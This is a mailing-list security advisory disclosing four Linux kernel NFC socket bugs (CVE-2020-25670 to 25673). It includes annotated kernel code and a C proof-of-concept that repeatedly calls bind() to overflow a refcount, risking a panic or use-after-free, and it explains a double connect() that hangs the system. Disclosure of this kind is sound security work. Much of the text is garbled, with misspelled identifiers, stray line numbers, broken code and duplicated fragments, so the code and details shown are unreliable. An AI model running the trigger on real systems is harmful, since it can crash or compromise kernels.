goto put dev;

bringing security into open environments Follow @Openwall on Twitter for new release announcements and other news [<prev] [next>] [day] [month] [year] [list] Date: Sun, 1 Nov 2020 13:12:13 +0000 From: kiyin(尹夷) < kiyin@...cent.com> To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com> CC: Greg KH <greg@..ah.com>, Anthony Liguori <alignori@...zon.com> Subject: [CVE-2020-25670,CVE-2020-25671,CVE-2020-25672,CVE-2020-25673]Linux kernel: many bugs in nfc socket CVE Assigned: > CVE-2020-25670 : new bug 1 > CVE-2020-25671 : new bug 2 > CVE-2020-25672 : new bug 3 > CVE-2020-25673 : new bug 4 Patches: not yet available Details: Ηi, we found many bugs in nfc socket. Here is the detail. At first, let's see a fixed bug from https://lore.kernel.org/patchwork/patch/1135836. this patch fixed a memory leak bug in llcp sock bind() --- a/net/nfc/llcp_sock.c +++ b/me/nfc/llcp sock. 80 -119,9 +119,14 80 static int llcp_sock_bind(struct socket llcp_sock->service name = kmendup(llcp_addr.service_name, llcp_sock->service_name_len, GFF_KENREL); if (!llcp_sock->service_name) { ret = -ENOMEM; ret = -ENOMEM goto put_dev; } llop sock->ssap = nfc llcp get sdp ssap(local, llcp_sock); if ([lcp sock->ssap == LLCP SAP MAX) { kfree(llcp sock->service name); llcp sock->service name = NULL; ret = -RADDRINUSE; goto put_dev; } if nfc_llcp_get_sdp_ssap failed, llcp_sock->service_name will be freed. That's really fixed. new bug 1, refcount leak in $llcp_sock_bind()$: In the same function $llcp_sock_bind()$, $nfc_llcp_local_get()$ is called before kmemdup. <---- nfc_llcp_local_get increases the refcount of local, adds plus 1 } ltcp_sock->ssap = nfc_llcp_get sdp_ssap(local, llcp_sock); if (llcp_sock->ssap == LLCP_SAP_MAX) { kfree(llcp_sock->service_name); llcp_sock->service_name = NULL; ret = -PADDKINUSE; goto put_dev; } <---- if nfc_llcp_get_sdp_ssap_returns_LLCP_SAP_MAX, only llcp_sock->service_name gets be freed.<---- nothing is done to local. 130 put_dev: 131 nfc_put_device(dev); <---- nothing is done to local in put_dev label either. release_sock(sk); return ret; <---- the refcount of local remains added. from the analysis above, we can see that: if nfc_llcp_get_sdp_ssap_returns_LLCP_SAP_MAX, when llcp_sock_bind() is returned, sk->sk_state is still_LLCP_CLOSED. So we can call llcp_sock_bind() many times, keep the refcount of local increasing. Threre is a REFCOUNT CHECK_LT_ZERO in refcount inc. When the refcount of local gets to 0x80000000, if the system handles the refcount exception, it leads to a system panic. If not, it will get to 0xFFFFFFFF and then to 0, then to 1... if nfc_llcp_local_put is called, the local will be freed. that is a worse UAF bug which might lead to privilege escalations. Here is the test code: #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <linux/nfc.h> #define NFC_SOCKPROTO_LLCP 1 #define NFC_PROTO_NFC_DEP 5 int main() unsigned int i; int fd; struct sockaddr_nfc_llcp addr; fd = socket(AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP); if (fd < 0) return 0;</pre> memset(&addr, 0, sizeof(struct sockaddr_nfc_llcp)); addr.sa_family = AF_NFC; addr.dev_ldx = 0; addr.nfc_protocol = NFC_PROTO_NFC_DEP; addr.service_name_len = 0; for (i = 0; i < 0x900000000; i++) bind(fd, (struct sockaddr*) &addr, sizeof(struct sockaddr nfc llcp)); close(fd); return 0;

<---- nfc llcp local get increases the refcount of local, adds plus 1

<---- if nfc_llcp_get_local_ssap returns LLCP_SAP_MAX

```
750 put_dev:
751 nfc_put_device(dev);
752
753 error:
754 release_sock(sk);
755 return_ret;
                                                                                          <---- nothing is done to local in put dev label.
                                                                                          <---- the refcount of local remains added.
new bug 3, memory leak in 11cp sock connect():
it is the same bug as the fixed one in <code>llcp_sock_bind()</code>
                                                                                          <---- kmemdup allocates memory for llcp sock->service name
                                                                                          <---- if nfc_llcp_send_connect is failed, llcp_sock->service_name is not freed.
 744
745
746
747
748
749
750
751
752
753
754
755
                                                                                         <---- llcp_sock->service_name is not freed in the next.
         sock_unlink:
   nfc_llcp_sock_unlink(&local->connecting_sockets, sk);
         sock_llcp_release:
    nfc_llcp_put_ssap(local, llcp_sock->ssap);
         put_dev:
    nfc_put_device(dev);
         error:
	release_sock(sk);
	return ret;
                                                                                          <---- sk->sk_state is not LLCP_CONNECTED. we can call llcp_sock_connect() many times.
new bug 4, non-blocking socket in llcp_sock_connect():
nfc_llcp_sock_link(&local->connecting_sockets, sk);
                                                                                        <---- sk is linked to local->connecting_sockets
         ret = nfc_llcp_send_connect(llcp_sock);
if (ret)
    goto sock_unlink;
         sk->sk_state = LLCP_CONNECTING;
        <---- calling ioctl(fd, FIONBIO, &imode) before connect will make the socket flag get 0_NONBLOCK mask. <---- sock_wait_state returns -EINFROGRESS right away
         release_sock(sk);
        return ret;
                                                                                          <---- llcp_sock_connect() returns right away
if we set llcp_sock->service_name to meaningless string, the connect will be failed. and sk->sk_state will not be LLCP_CONNECTED. then we can call llcp_sock_connect() many times. that leaks everything:

llcp_sock->dev, llcp_sock->local, llcp_sock->ssap, llcp_sock->service_name...

leak is one problem. another problem is that we can call llcp_sock connect() twice before nfc target response. nfc_llcp_sock_link() will add sk to local->connecting_sockets twice. sk->sk_node->next will point to itself, that will make an endless loop and hang-up the system.
```

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

